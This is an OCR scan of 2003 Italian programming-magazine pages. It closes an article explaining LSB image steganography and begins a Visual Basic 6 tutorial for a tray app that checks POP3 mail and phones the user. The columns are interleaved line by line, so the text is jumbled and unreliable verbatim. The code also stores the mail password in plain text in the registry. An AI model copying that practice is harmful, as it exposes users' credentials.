che decifrare l’elemento steganografato anche quello frutti della ricerca scientifica anche le analisi stegano-
gli articoli che riguarda-
no i giochi di parole pre- crittografato. Nel caso in cui la crittografia sia a chia- grafiche debbano essere rese pubbliche, sia per evita-
senti nei numeri: 65 e ve pubblica, tipo RSA, lo schema riportato in figura va re una predominanza che oltre a quella economica sa-
66. Ed infine, una buona leggermente variato nella fase di decrittografia allor- rebbe a questo punto anche di carattere culturale-
lettura che vi concilierà
il sonno (scherzo ovvia-
quando si fa riferimento ad un’altra chiave. Per con- scientifico e sia perché tale strumento possa essere
mente) riguarda il calco- cludere, il paragrafo è illuminante e fornisce un im- usato in altre realtà (ad esempio in nazioni in cui av-
lo combinatorio reperi- portante punto di vista che ci aiuta a chiarire il con- vengono violazioni dei diritti umani) come modalità
bile nel numero: 31. cetto, la definizione data da Marcus Kuhn sulla stega- indispensabile di comunicazione.
nografia: “La steganografia è l’arte di comunicare in
modo tale da nascondere l’esistenza stessa della comuni-
cazione. Al contrario della crittografia, in cui il nemico ALGORITMO LSB
può rilevare, intercettare e modificare dei messaggi sen- STEGANOGRAFARE IMMAGINI
za però riuscire a violare determinati livelli di sicurezza Uno dei casi più interessanti di steganografia è quello
garantiti dal criptosistema, il fine della steganografia è che coinvolge le immagini. È possibile inserire all’in-
Soluzioni

di nascondere dei messaggi all’interno di altri messaggi terno di una qualsiasi immagine di copertura una se-
innocui in modo tale da non permettere al nemico nem- conda immagine, in generale un messaggio nascosto,
meno di rilevare la presenza di un secondo messaggio se- facendo in modo che la prima risulti pressoché inal-
greto”. terata. Sappiamo che un’immagine è memorizzata co-
me un’array di pixel (unità grafica minima) che pos-
sono assumere diversi colori. Con la rappresentazione
ALTRI ASPETTI RGB, ossia: Red, Green e Blue (rosso, verde e blu) si
Prima di esporre la parte tecnica è indispensabile, sep- produce un qualsiasi colore come il mix del contribu-
pur brevemente, esaminare alcuni altri aspetti. Scrive- to di ognuno dei tre colori, detti primari. La percen-
vo che la steganografia coinvolge molti ambiti, volevo tuale di ognuno dei singoli colori, secondo uno dei
adesso esporne qualcuno di essi esaminando come si modelli maggiormente diffusi, è scelta tra 256 possibi-
ripercuote nel nostro ruolo di utilizzatori della rete li, quindi è rappresentata con un byte. Se ne deduce
globale e cercando di sgombrare dal campo alcuni at- che un singolo pixel è memorizzato con tre byte. A ta-
teggiamenti propagandistici. Si è detto che l’uomo più le proposito è significativo vedere con una qualsiasi
ricercato al mondo Osama Bin-Laden abbia fatto uso applicazione di painting, come si possa generare un
della steganografia per impartire degli ordini ai suoi colore come la combinazione di tre numeri compresi

30 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
028-031 soluzioni 4-06-2003 10:53 Pagina 31

E E E E E E E E E E E E E E E E E S O L U Z I O N I

nell’intervallo [0, 255] che rappresentano appunto le 10011111 10100111 11010101


intensità dei tre colori base: rosso, verde e blu. Ad 00101010 01011100 10000110
A beautiful
esempio il colore bianco si ottiene con la percentuale 10001100 01000100 00101010
mind
Nel film a Beauti-
massima dei tre colori primari, quindi con i valori pa- 10110100 10001001 00011100 ful mind vincitore
ri a 255. La rappresentazione binaria del bianco è de- 10110011 01001001 11001011 di diversi premi oscar, il
scritta dalla seguente terna di byte: protagonista che inter-
preta la parte di uno
I bit soggetti a variazione sono stati sottolineati, da no- scienziato-matematico
1111 1111 tare che non tutti sono stati variati rispetto alla loro americano purtroppo
1111 1111 configurazione originale. Si calcola banalmente che affetto da schizofrenia,
vincitore di un premio
1111 1111 nel caso medio, il numero di bit alterati è esattamente
nobel, nel suo delirio
la metà di quelli da iniettare, così il cambiamento com- conseguente alla ma-
Si ribadisce che il primo byte rappresenta la percen- plessivo dell’immagine è ancora minore rispetto al ca- lattia pensa di lavorare
tuale di rosso, il secondo la percentuale di verde e il so che si modificassero tutti i bit meno significativi. per la CIA, e di dover
decifrare messaggi se-
terzo la percentuale di blu. I grigi, invece, si ottengono L’algoritmo esposto prende il nome di LSB o anche in-
greti nascosti su comu-
con uguali intensità delle tre componenti primarie, serimento nel bit meno significativo. Le modifiche appor- ni riviste. Si tratta di un
quindi con il modello adottato si possono avere 256 di- tate all’immagine originale sono ancora meno eviden- chiaro caso di stegano-
verse tonalità di grigio che vanno dal bianco al nero. ti se si fa un’altra considerazione, e cioè che una qual- grafia.

Ecco uno dei 256 possibili esempi: siasi immagine scannerizzata contiene comunque del
rumore, ovvero, delle imprecisioni di definizione pro-
1001 0001 prie dello strumento di rilevazione, e quindi anche se
1001 0001 i cambiamenti dovuti all’applicazione della stegano-
1001 0001 grafia dopo un’accuratissima analisi dell’immagine
venissero rilevati sarebbero difficilmente distinguibili
Poiché la scala di 256 diverse tonalità è ampia piccole dal rumore intrinseco dell’immagine sorgente. Tale al-
variazioni non si percepiscono, per cui se ad esempio goritmo ha comunque un limite evidente che risulta
un pixel è rappresentato dalla seguente terna: dalla perdita del elemento nascosto, o di una parte
informativa di esso, qualora l’immagine venga modi-
1000 1110 ficata.
1011 0011 Altri metodi conosciuti come algoritmi e trasforma-
1000 0110 zioni permettono di inserire messaggi nascosti anche
in immagini che presentano formati compressi come
Variare il bit meno significativo di una delle tre com- le JPG (e quindi FFT, trasformate di Fourier nel discre-
ponenti di colore lascia il pixel sostanzialmente inalte- to). Tali tecniche occultano il messaggio in determina-
rato, la piccolissima variazione è ancora più difficile te aree dell’immagine manipolando alcune caratteri-
da notare se si tiene presente che si tratta di un singo- stiche come la luminosità. Ad ogni modo il principio
lo pixel, che per un’intera immagine fornisce un con- ispiratore di tali tecniche (stenografiche in generale) è
tributo minimo. L’idea alla base dell’algoritmo tiene che ogni qual volta si ha la possibilità di scelta nel rap-
conto dell’appena citato modo con cui una immagine presentare un’informazione in modo che nei casi pos-
viene memorizzata, tipico del formato bitmap (bmp). sibili si abbiano “scenari simili” si può attuare la ste-
Supponiamo di voler nascondere un byte, ovviamen- ganografia.
te, il discorso si può facilmente generalizzare a più by-
te che possono rappresentare una qualsiasi informa-
zione che sia testuale (che occupa generalmente me- CONCLUSIONI
Soluzioni
no), un’immagine, un suono o altro. Se il byte vale: Dopo una vasta quanto dovuta introduzione, che ci ha
11000011, possiamo “iniettarlo” in una sequenza di comunque consentito di esaminare qualche aspetto
pixel, ad esempio 5, che sono rappresentati con 15 by- pratico, nella prossima puntata avremo modo di ap-
te. Cosicché i dodici byte originari che ad esempio so- profondire l’aspetto maggiormente tecnico attraverso
no: la trattazione di alcuni algoritmi oggi utilizzati. Spero
che l’argomento vi abbia appassionato come è succes-
10011111 10100111 11010100 so a me, e soprattutto spero che possiate leggere que-
00101010 01011101 10000110 ste ultime parole. Come vi avevo consigliato all’inizio,
10001101 01000100 00101010 sta per svelarsi l’arcano mistero. Eccolo. Nel sottotito-
10110100 10001001 00011100 lo è steganografato un messaggio, certo l’averlo rive-
10110010 01001001 11001011 lato non è una mossa che segue i canoni dettati dalle
basilari norme di sicurezza, ma per noi si tratta di un
Supponendo di voler alterare un byte si e uno no (con esercizio, anzi un gioco. Quindi vi invito, anzi vi sfido
intervallo di due byte), che è una variazione difficilis- a decifrarlo.
sima da rilevare, la sequenza dei dodici byte si tra- Aspetto vostre notizie.
sforma come segue: Fabio Grimaldi

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 31
032-038 T&T 31-05-2003 9:56 Pagina 32

T E O R I A E T E C N I C A G G G G G G G G G G G G G

✓ Voce, Telefonia e E-mail


TAPI Mail Checker:


Sistema
il PC ci telefona!
Un’insalata di tecnologie e (consultate il box per informazioni sull’am-
tecniche di programmazione biente di sviluppo) e si nasconderà nel system
tray di Windows in cui svolgerà il suo compito
per creare un’applicazione
di controllo del nostro server di posta. Una fi-
d’avanguardia: facciamoci
nestra di configurazione permette l’imposta-
telefonare dal nostro zione dei parametri fondamentali, quali server
computer per sapere se POP3, username, password, etc. nonché di spe-
abbiamo nuovi messaggi nella cificare le preferenze relative alla frequenza
nostra casella email preferita! della verifica di nuovi messaggi e alla notifica
telefonica. Ho previsto anche la possibilità di
disabilitare la notifica via telefono, così il pro-
gramma può essere usato anche solo come av-
File sul CD

È
ormai assodato che i computer non sono vertimento dei messaggi in arrivo, grazie ad
\soft\codice più solo dei semplici elaboratori di nu- una silenziosa finestra che compare sul desk-
\[Link]
meri, bensì si affiancano – volendo – alla top quando ci sono nuove email e che sparisce
schiera degli elettrodomestici, nel senso che ci cliccandoci sopra o automaticamente dopo
File sul Web permettono di alleggerire la nostra quotidia- qualche secondo. Tutte queste impostazioni
[Link]/ioprog71 nità con le capacità che mettono a disposizio- possono infine essere memorizzate nel registry
/[Link]
ne. In casa mia ormai non c’è più televisione, di Windows, in modo da renderle persistenti e
ma una scheda TV inserita nel PC, non ho più non doverle così rispecificare ad ogni riavvio
lo stereo perché mi basta WinAmp, ascolto la dell’applicazione o della macchina.
radio di [Link], ho buttato guide telefoni-
che e TuttoCittà perché cerco numeri e vie su
INGREDIENTI Internet, e col computer ormai pago anche le
L’applicazione di questo
tasse (è proprio così, persino il fisco ha dovuto
articolo è stata creata con
la seguente configurazione cedere alla rivoluzione informatica!). Detto tut-
to ciò, l’idea di questo articolo è quella di ag-
PC: PIII 1GHz, 512Mb RAM giungere un’ulteriore capacità di utilità quoti-
Richiesto un modem Voice
diana al nostro fedele compagno elettronico:
compatibile UnimodemV
Sistema Operativo: faremo in modo che controlli l’email per noi e
Windows XP Pro SP1 ci avverta quando ci sono dei nuovi messaggi
Software: Visual Basic 6 facendoci… una telefonata al numero che indi-
Enterprise SP5
chiamo!
Microsoft Speech SDK 4.0a
Netpoint ModemTools 1.1 Per fare questo ci avvarremo delle tecnologie
SAPI e TAPI, e vedremo come utilizzare anche
Per Visual Basic è suffi- il system tray nella task bar di Windows, dato
ciente l’edizione Professio-
nal;
che il mio sogno è sempre stato quello di avere
Versioni precedenti o suc- un silenzioso ed invisibile notificatore della
cessive alla 4 dello Speech posta in arrivo senza dover tenere aperta
SDK non sono state testate un’intera finestra come quella di Outlook Ex-
e probabilmente non fun-
zionerebbero;
press o simili. Ma scendiamo un po’ meglio nei
ModemTools è scaricabile dettagli del lavoro che andremo a svolgere in-
dal sito [Link] sieme.
in versione trial per 30
giorni.

TAPI MAIL CHECKER


L’applicazione sarà scritta in Visual Basic 6 Fig. 1: Il form principale.

32 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
032-038 T&T 31-05-2003 9:56 Pagina 33

E E E E E E E E E E E E E T E O R I A E T E C N I C A

dal programma, mentre chiudendo la finestra


(o con il pulsante “Chiudi”) si inizia la fase di
monitoraggio: il programma resta disponibile
solo nel system tray, e controlla periodicamen-
te la vostra casella email telefonandovi, se ne-
cessario, per leggervi i nuovi messaggi. L’ulti-

Sistema
mo pulsante (“Salva come default”) memorizza
la configurazione attuale nel registry, cosicché
Fig. 2: Il form dei messaggi. ad avvii successivi l’applicazione inizierà di-
rettamente il suo compito principale senza pas-
sare per la finestra di configurazione, la quale TAPI Mail
Per quanto riguarda l’interfaccia grafica, essa è richiamabile quando si desidera cliccando Checker: il PC
consta di tre form: il primo (nella Fig. 1) è quel- semplicemente sull’icona del TAPI Mail Checker ci telefona!
lo che viene utilizzato per configurare l’appli- nel tray.
cazione e personalizzarla, oltre ad essere il Per quello che concerne la fase di verifica, il
punto in cui viene tenuto tutto il codice di con- programma controlla la casella di posta ogni
trollo della posta ed invio delle notifiche, il se- tot minuti in base alla configurazione, e se vi
condo (in Fig. 2), invece, è un semplice pop-up sono dei messaggi viene visualizzata una fine-
che appare quando è arrivata della nuova po- stra di avvertimento che scompare dallo scher- System
sta o per segnalare in maniera poco fastidiosa mo dopo alcuni secondi. Sempre in base alle Registry
Il registro di sistema
alcuni eventi o errori all’utente, mentre il terzo impostazioni dell’utente, è possibile che ogni di Windows è un file
(in Fig. 3) permette di configurare i parametri tot controlli venga iniziata anche la procedura con estensione .dat che
della speech engine e del modem utilizzati per di notifica, che prevede la lettura via telefono contiene una serie cospi-
notificare tramite telefono. delle informazioni essenziali su ogni messag- cua di informazioni sul si-
stema, sia a livello softwa-
gio (oggetto e mittente). re che – in certa misura –
Arrivato al punto di aver definito con chiarez- hardware. Oltre a questo,
za quello che intendo fare, di solito passo ad ogni applicazione che gira
sotto il sistema operativo,
approfondire o acquisire conoscenze relative
può aggiungere attributi a
agli strumenti che mi permetteranno di imple- tale registry principalmen-
mentare le specifiche che mi sono dato. Pro- te con l’obiettivo di persi-
pongo anche a voi questo tipo di percorso, per stere una parte o tutta la
sua configurazione, in mo-
cui affronteremo ora un breve viaggio per
do da averla sempre a di-
quelle funzioni, quei controlli e quelle tecniche sposizione anche dopo il
Fig. 3: Il form delle opzioni “avanzate”. che – messi insieme e combinati in vari modi – riavvio della macchina.
ci porteranno alla realizzazione del nostro pro- Tutti i dati memorizzati in
questo repository sono or-
getto.
ganizzati secondo una
Passeremo adesso ad un’analisi del codice ap- struttura gerarchica ad al-
plicativo e dei vari passaggi che hanno portato bero: l’elemento finale è
alla creazione di questo software, ma prima de- NOZIONI PROPEDEUTICHE: sempre una coppia di no-

dichiamoci a capire come funzionerà nel com- SYSTEM REGISTRY me attributo e valore attri-
buto, ma tale elemento
plesso il “prodotto finale” (è sempre più sem- Tutte le applicazioni Windows hanno il “dirit- può essere contenuto al-
plice scrivere il codice quando a priori si è già to” di memorizzare informazioni necessarie al- l’interno di una struttura
fatto uno studio approfondito di questo tipo). la propria esecuzione nel registry (vedi Box Sy- più o meno complessa di
“cartelle” simili a quelle
stem Registry) e Visual Basic offre una coppia di del file system. Lo scopo di
metodi molto semplici da utilizzare che ci con- tale gerarchizzazione è
FUNZIONAMENTO sente di salvare e recuperare dei valori da que- l’ordine!
DELL’APPLICAZIONE sto calderone di attributi. Per chi ha memoria che va
tanto indietro, il registry
All’avvio del programma verifichiamo se sono Per il salvataggio dei dati si utilizza SaveSet- ha sostituito e rappresenta
stati già salvati i parametri di configurazione ting, che richiede, nell’ordine, un nome identi- un’estensione del concetto
nel registry di Windows. Se non è così, viene ficativo dell’applicazione, un nome di sezione, di file .ini tanto in voga con
le versioni più vecchie di
visualizzato il form principale, in cui l’utente il nome dell’attributo ed il valore associato:
Windows. Se volete dare
setta le sue preferenze sulla frequenza del con- tutti valori di tipo String. un’occhiata al vostro regi-
trollo e i dati per l’accesso al server POP3. Tra- Se dovete invece recuperare un’informazione, stro di sistema, utilizzata
mite un pulsante (“Opzioni TAPI/SAPI”) è pos- utilizzate GetSetting: dati il nome dell’applica- l’applicazione [Link]
(sotto <win-dir>) o re-
sibile accedere alle opzioni voce e modem, che zione, della sezione e dell’attributo, il metodo
[Link] (sotto <win-
rappresentano solo un’estensione della pagina vi restituirà il valore corrispondente; se l’attri- dir>/system32).
principale (per non fare un’unica finestra trop- buto non esiste, troverete una stringa vuota, a
po grossa, insomma!). meno di aver passato al metodo un ulteriore
Con il pulsante “Esci” si esce definitivamente parametro opzionale che rappresenta il default

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 33
032-038 T&T 31-05-2003 9:57 Pagina 34

T E O R I A E T E C N I C A G G G G G G G G G G G G G

da ritornare quando l’attributo è inesistente. form lo si ottiene tramite la proprietà hWnd


Un terzo metodo, GetAllSettings, restituisce ([Link] nel codice della nostra applicazio-
una lista di tutti gli attributi di una sezione per ne). L’identificativo uId è un valore numerico
un’applicazione, ma noi non lo utilizzeremo. che non ha particolare importanza, mentre hI-
con è un handle all’immagine dell’icona: è pos-
sibile assegnare un oggetto di tipo Picture a
NOZIONI PROPEDEUTICHE:
Sistema
questo elemento. Come probabilmente imma-
SYSTEM TRAY ginate, szTip è la stringa del tooltip dell’icona,
Il tray è quell’area della task bar in cui trovate mentre ucallbackMessage è l’identificativo del-
l’orologio e tante piccole icone – spesso di ori- l’evento a cui si vuole che il tray invii i mes-

TAPI Mail gine ignota – e che si trova in basso a destra del


vostro schermo (a meno che non abbiate Win-
saggi relativi all’icona: di solito si utilizza l’e-
vento MouseMove, con il parametro della coor-
Checker: il PC
ci telefona! dows in arabo, nel qual case sarebbe a sini- dinata x utilizzato dal sistema per identificare
stra!). Se fosse per Visual Basic, con il tray non l’azione avvenuta sull’icona (click, doppio-
avremmo nessun modo di interagire… ma io click, tasto destro o sinistro, etc.).
sono testardo! Ed avevo deciso che quest’ap- Infine uFlags indica al sistema quali elementi
plicazione doveva andare a finire nel tray a tut- della struttura contengono dati validi, per cui
ti i costi, quindi ci tocca andare a scomodare le di solito, e se si crea una nuova icona in parti-
chiamate di sistema alle DLL di Windows. In colare, indicheremo che sono tutti stati impo-
realtà ci serve solo una funzione che è imple- stati come richiesto con il valore NIF_ICON Or
mentata in [Link]: si chiama Shell_NotifyIco- NIF_TIP Or NIF_ MESSAGE (i tre valori sono
nA e per poterla utilizzare in Visual Basic ci ba- definiti in altrettante costanti nel form frmTapi-
sta aggiungere questa riga di codice ai nostri MailChecker).
moduli o form:
Il protocollo
POP3 Private Declare Function Shell_NotifyIcon Lib "shell32" NOZIONI PROPEDEUTICHE:
POP3 sta per Post Of-
fice Protocol versione
Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, I SOCKET CON VB
3 e si tratta di uno standard pnid As NOTIFYICONDATA) As Boolean Anche per quello che riguarda la gestione dei
di comunicazione con i ser- socket, bisogna dire che Visual Basic non è par-
ver che “immagazzinano” i Dei due parametri accettati dal metodo, il pri- ticolarmente generoso: non esiste il supporto
nostri messaggi di posta
elettronica. Per stabilire
mo è un valore numerico che indica il tipo di nativo nel linguaggio!
una connessione con tali operazione da compiere (aggiungere, modifi-
server è sufficiente aprire care o rimuovere un’icona dal tray), mentre il
un socket sulla porta 110 secondo è una struttura di dati che descrivono
(quella di default per que-
sto protocollo) ed inviare
l’icona ed il suo comportamento. Nel codice
un messaggio di identifi- del TAPI Mail Checker sono state utilizzate
cazione con il comando: delle costanti per il parametro numerico:

USER myuser
Private Const NIM_ADD = &H0
in cui myuser è il vostro Private Const NIM_MODIFY = &H1
nome utente. Se il server Private Const NIM_DELETE = &H2
risponde positivamente
(tutte le risposte positive
iniziano con un +), gli
mentre ecco la dichiarazione della struttura da-
diamo la password con: ti da passare come secondo parametro:
Fig. 4: L’aggiunta dei controlli necessari per
PASS mypass Private Type NOTIFYICONDATA l’applicazione e la palette di Visual Basic con il
cbSize As Long controllo aggiuntivo WinSock ed i controlli extra
dopodiché siamo connes- TextToSpeech e ModemPhone.
hWnd As Long
si alla nostra mailbox.
uId As Long
uFlags As Long Però in questo caso – forse data l’importanza
ucallbackMessage As Long dell’argomento – viene fornito un controllo ag-
hIcon As Long giuntivo, presente nelle edizioni Professional
szTip As String * 64 ed Enterprise del prodotto, che ci permette di
End Type aprire e gestire dei socket per comunicare con il
mondo esterno. Tale controllo si chiama Win-
Il primo elemento (cbSize) è solo la lunghezza Sock ([Link]) e va aggiunto esplicitamen-
della struttura – basta calcolarla con Len(varia- te alla palette dei componenti tramite il menu
bile). L’elemento hWnd è l’handle della finestra Project/Components… (vd. Fig. 4). Il suo funzio-
da associare all’icona nel tray: l’handle di un namento è completamente asincrono, il che si-

34 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
032-038 T&T 31-05-2003 9:57 Pagina 35

E E E E E E E E E E E E E T E O R I A E T E C N I C A

gnifica che noi inviamo dei dati e la risposta ci che abbiate già installato lo Speech SDK. Del
ritorna tramite eventi dell’oggetto. Non è pro- controllo di voice a noi interessa la capacità di
prio l’ideale per la comunicazione con un ser- leggere una stringa (tramite il metodo Speak),
ver POP3, ma ci arrangeremo! Bisogna impo- che è asincrono, e di essere avvisati quando la
stare il nome dell’host e la porta per stabilire stringa è stata letta completamente e quindi
una connessione con il server, cosa che si può l’engine ha finito di parlare (evento Speaking-

Sistema
fare o tramite le proprietà RemoteHost e Remote- Done). Inoltre, sono importanti i metodi che ci
Port di WinSock, per poi invocarne il metodo permettono di conoscere le engine installate e
Connect senza parametri, oppure invocando di- di selezionarne una: CountEngines ci dà il nu-
rettamente Connect con due parametri che sono, mero totale di quelle presenti, ModeName pren-
appunto, host e porta. Una volta connessi al ser-
ver, l’evento DataArrival viene lanciato ogni
de un intero che è l’indice di un engine di cui
restituisce il nome testuale, mentre CurrentMo-
TAPI Mail
Checker: il PC
qual volta riceviamo dei dati: nella gestione di de è una proprietà che restituisce l’indice del- ci telefona!
questo evento il metodo GetData ci dà accesso l’engine attiva o permette di impostare l’indice
ai dati ricevuti, ponendoli in una variabile che di una nuova engine da utilizzare.
passiamo come parametro. Il metodo SendData, Passiamo adesso invece a ModemPhone: con
al contrario, ci permette di continuare la nostra questo oggetto ci viene data la possibilità di
conversazione telematica inviando nuove ri- gestire i servizi messi a disposizione da TAPI
chieste al server. In tutto questo, dovesse verifi- in maniera veramente intuitiva, anche se non
carsi un errore viene lanciato l’evento Error. Ri- sempre è facile configurare il proprio modem
cordatevi che è sempre buona norma chiudere per l’uso con il prodotto. Ai nostri fini ci sono
un socket con il metodo Close quando avete ter- utili due metodi di impostazione: da un lato il Il protocollo
minato di colloquiare con il server. Infine, l’og- settaggio del’ID di località (CurrentLocationID) POP3
getto WinSock può anche ovviamente essere per specificare al controllo da dove viene effet- Il comando STAT ci
usato per creare dei server socket (si invoche- tuata la chiamata (si tratta delle località create fa avere un
rebbe il metodo Listen invece di Connect), ma con il pannello di controllo di Windows in resoconto dei messaggi
presenti, in questa forma
questo non è il nostro caso. “Opzioni Modem e Telefono”), dall’altro invece
abbiamo OpenModem con cui possiamo selezio- +OK 2 680
nare uno dei modem installati sul PC. Il con-
NOZIONI PROPEDEUTICHE: trollo dà anche la possibilità di interrogare il si- che significa che ci sono
TELEFONIA E VOCE stema operativo per chiedere un elenco delle 2 messaggi per un totale
di 680 byte. Se voglio
La parte sicuramente più avant-guarde del località e dei modem disponibili (NumberOfLo- leggere un messaggio lo
progetto cui ci stiamo dedicando è il far sì che cations insieme a GetLocationName, e NumberOf- recupero con
il computer ci telefoni per leggerci le email. Per Modems insieme a GetModemName). Ma la vera
poter mettere questo in atto dobbiamo fare ri- chicca è il metodo MakeCall, con cui facciamo RETR 1

corso alle tecnologie SAPI (Speech API) e TAPI telefonare il nostro computer. I parametri ri-
in cui 1 è il numero ordi-
(Telephony API). Per quanto riguarda la prima, chiesti sono il codice nazionale, il codice di di- nale del messaggio. Il
utilizzeremo il Microsoft Speech SDK nella sua stretto (il prefisso, per farla breve) e il numero server mi risponde in-
versione 4, che contiene un controllo ActiveX dell’abbonato, seguito da un valore booleano viandomi il solito +OK
che ci renderà più semplice l’uso delle funzio- che specifica se utilizzare o meno le regole di seguito dal messaggio –
al termine del messaggio
nalità vocali in Visual Basic. Relativamente al composizione della località attiva. Anche que- segue un “.” da solo su
TAPI, invece, andremo ad adoperare un Acti- sto metodo è asincrono, un po’ come i socket di una riga. Per cancellare i
veX prodotto da NetPoint e scaricabile in ver- WinSock, per cui quando la chiamata è stata messaggi usate:
sione trial dal loro sito (è un po’ fastidioso il piazzata viene lanciato l’evento Connected,
DELE 1
messaggio di avviso dei giorni mancanti alla mentre se si verificano dei problemi si ha l’e-
scadenza della prova, ve lo devo confessare). vento Error. Per interrompere la telefonata pos- in cui 1 è lo stesso or-
Come tutti i controlli ActiveX esterni al pro- siamo riagganciare l’apparecchio con HangUp, dinale che si usa con
dotto, questi vanno dichiarati a parte (l’avete mentre riceviamo l’evento Disconnected se ad RETR. Questo è l’essen-
già fatto per WinSock, vi ricordate?). Si tratta attaccare il telefono è il nostro interlocutore! ziale! Ma se volete cono-
scere tutti i comandi a
di TextToSpeech di Microsoft e ModemPhone di Adesso che sappiamo far parlare il nostro PC e disposizione, la cosa mi-
NetPoint. Il primo consente di far parlare il siamo in grado di fargli fare una telefonata at- gliore è fare riferimento
computer: data una stringa il PC la leggerà, a traverso il modem, ci dobbiamo chiedere come alle specifiche del proto-
collo, dettagliate nel RFC
patto di aver installato l’engine per la lingua in farlo parlare al telefono! Nulla di più sempli-
1939.
cui è scritto il testo. Esistono engine per diver- ce… da una parte TextToSpeech è in grado di
si idiomi (tra cui l’italiano) scaricabili dal sito emettere la propria voce in un qualunque ca-
Microsoft all’indirizzo [Link] nale wave della macchina, mentre i modem
/msagent/downloads/[Link]#tts – sono gratuiti con capacità di voce sono associati ad un wave
anche se la qualità non è eccezionale. Chiara- device. L’evento Connect del modem ci passa
mente l’installazione dell’engine presuppone come parametro in ingresso l’id del wave device

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 35
032-038 T&T 31-05-2003 9:58 Pagina 36

T E O R I A E T E C N I C A G G G G G G G G G G G G G

a cui il modem è connesso, e a noi non resta vbCrLf & "location e/o speech engine."
che far utilizzare all’engine vocale tale device & vbCrLf & "Usa le Opzioni per correggere
attraverso la proprietà Device di TextToSpeech, il problema!"
che prende appunto l’identificativo di una ca- [Link]
nale wave. Finalmente siamo pronti per comin- Else
ciare a dar vita alla nostra idea! [Link]
End If

Sistema LA CREAZIONE
On Error GoTo 0
If chkCheckOnStart Then
DELL’APPLICAZIONE CheckMail
Dopo aver dato uno sguardo alle nozioni di cui End If
TAPI Mail ci avvarremo per questo progetto, è ora di met- End If
Checker: il PC
tere insieme i vari pezzi. Il cuore del nostro End Sub
ci telefona!
programma sarà il form di configurazione
(quello di Fig. 1): è lì che avremo tutto il codi- Private Sub Form_Unload(Cancel As Integer)
ce di controllo della posta ed invio delle notifi- Dim strError As String
che. Il trucco, per rendere l’applicazione invisi- If Not bExit Then
bile, sta nel rendere il form (che si chiama frm- strError = ValidateFields
TapiMailChecker) sempre nascosto, di modo che If strError <> "" Then
l’unico punto di contatto con il nostro software MsgBox strError
sarà l’icona nel tray: tra l’altro questa è l’unica Else
soluzione viabile, in quanto le icone del tray cntCheck = 0
devono sempre essere associate ad una fine- cntNotify = 0
stra, anche se invisibile. Come abbiamo detto, [Link] = True
se sul registry sono già presenti i dati per la [Link]
configurazione del Checker, è inutile annoiare If chkCheckOnStart Then
l’utente con il form principale: l’evento Load CheckMail
della maschera quindi ci servirà per effettuare End If
questa verifica e nascondere eventualmente la End If
finestra prima ancora che venga mostrata. Cancel = True
Checker
Se sul registry sono End If
già presenti i dati Listato 1: Load e Unload del form pincipale End Sub
per la configurazione del
Checker, è inutile annoia-
Private Sub Form_Load() Nel codice di questo evento (listato 1) ci occu-
re l’utente con il form
principale: l’evento Load bExit = False piamo anche di creare l’icona del system tray. È
della maschera quindi ci Set theIcon1 = LoadResPicture("STANDBY", vbResIcon) interessante anche il codice dell’evento di Un-
servirà per effettuare Set theIcon2 = LoadResPicture("ALERT", vbResIcon) load (sempre nel listato 1), in cui facciamo in
questa verifica e nascon-
cntCheck = 0 modo che l’utente non possa uscire dall’appli-
dere eventualmente la fi-
nestra prima ancora che cntNotify = 0 cazione se non premendo l’apposito pulsante
venga mostrata. chkPhoneCall_Click “Esci”: tale pulsante pone a True il flag bExit, il
[Link] = False quale permette nel metodo Form_Unload che la
TrayNoMail finestra venga chiusa, mentre normalmente noi
Shell_NotifyIcon NIM_ADD, sysTray la nascondiamo solamente. In questo metodo,
If GetSetting(APP_NAME, POP3, "hostname") <> "" Then poi, come anche nel metodo di click sul pulsan-
[…] te “Salva come default”, troviamo la chiamata al
txtUsername = GetSetting(APP_NAME, POP3, metodo ValidateFields, che si assicura del cor-
"username", "") retto inserimento dei dati nel form e, in caso di
txtPassword = GetSetting(APP_NAME, POP3, errori, prepara una stringa descrittiva dei pro-
"password", "") blemi riscontrati utilizzata dai metodi chia-
[…] manti tipicamente per mostrare una message
On Error Resume Next box di avvertimento. Il form delle opzioni più
[Link] = GetSetting(APP_NAME, OCX, avanzate (quello di Fig. 3) svolge – nell’evento
"speechEngine", 0) di Load – il compito di riempire le combobox
[Link] GetSetting(APP_NAME, OCX, per la scelta dell’utente: questo codice e quello
"modem", 0), False, False del pulsante di “OK” (li trovate nel listato 2)
[Link] = sono esempi di come recuperare una lista delle
GetSetting(APP_NAME, OCX, "location", 0) location, delle speech engine e dei modem pre-
If [Link] <> 0 Then senti sul vostro sistema, e di come configurare
MsgBox "Errore nel settaggio di modem," & il controllo ActiveX di TextToSpeech affinché usi

36 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
032-038 T&T 31-05-2003 9:58 Pagina 37

E E E E E E E E E E E E E T E O R I A E T E C N I C A

uno specifico engine e quello di ModemPhone


per l’uso di una location e di un modem scelti
tra quelli a disposizione.

Listato 2: Il codice delle opzioni avanzate

Sistema
Private Sub cmdOK_Click()
[Link] =
[Link] + 1
[Link] Fig. 5: L'editor di risorse per includere le icone
nel progetto compilato da Visual Basic.
[Link], False, False
[Link] =
TAPI Mail
Checker: il PC
[Link] questo ideale che fosse realizzabile in Visual ci telefona!
[Link] = Basic in maniera semplice e veloce è quella di
[Link] un form senza titolo e bordi (ControlBox=False
[Link] = e Caption=””) che viene visualizzato a centro
[Link] schermo e si chiude con un semplice click
Unload Me ovunque nella finestra o automaticamente da
End Sub solo dopo una manciata di secondi (che io ho
stabilito essere 15). Ho aggiunto a questo form
Private Sub Form_Load() tre metodi pubblici per settare un titolo (SetTi-
Dim i As Long tle), un messaggio (SetMessage) ed un “sotto-
Dim str As String messaggio” lampeggiante (NotifyOn): ciascuno
[Link] ([Link] - [Link]) / 2, dei metodi resetta il timer per la chiusura del- Timer
Il controllo timer
([Link] - [Link]) / 2 la finestra, in modo tale che l’ultima informa- presente in frmTapi-
For i = 1 To [Link] zione impostata è comunque sempre visibile MailChecker è il principio
str = [Link](i) per almeno 15 secondi. Un ulteriore controllo di tutto: viene eseguito
ogni minuto e stabilisce
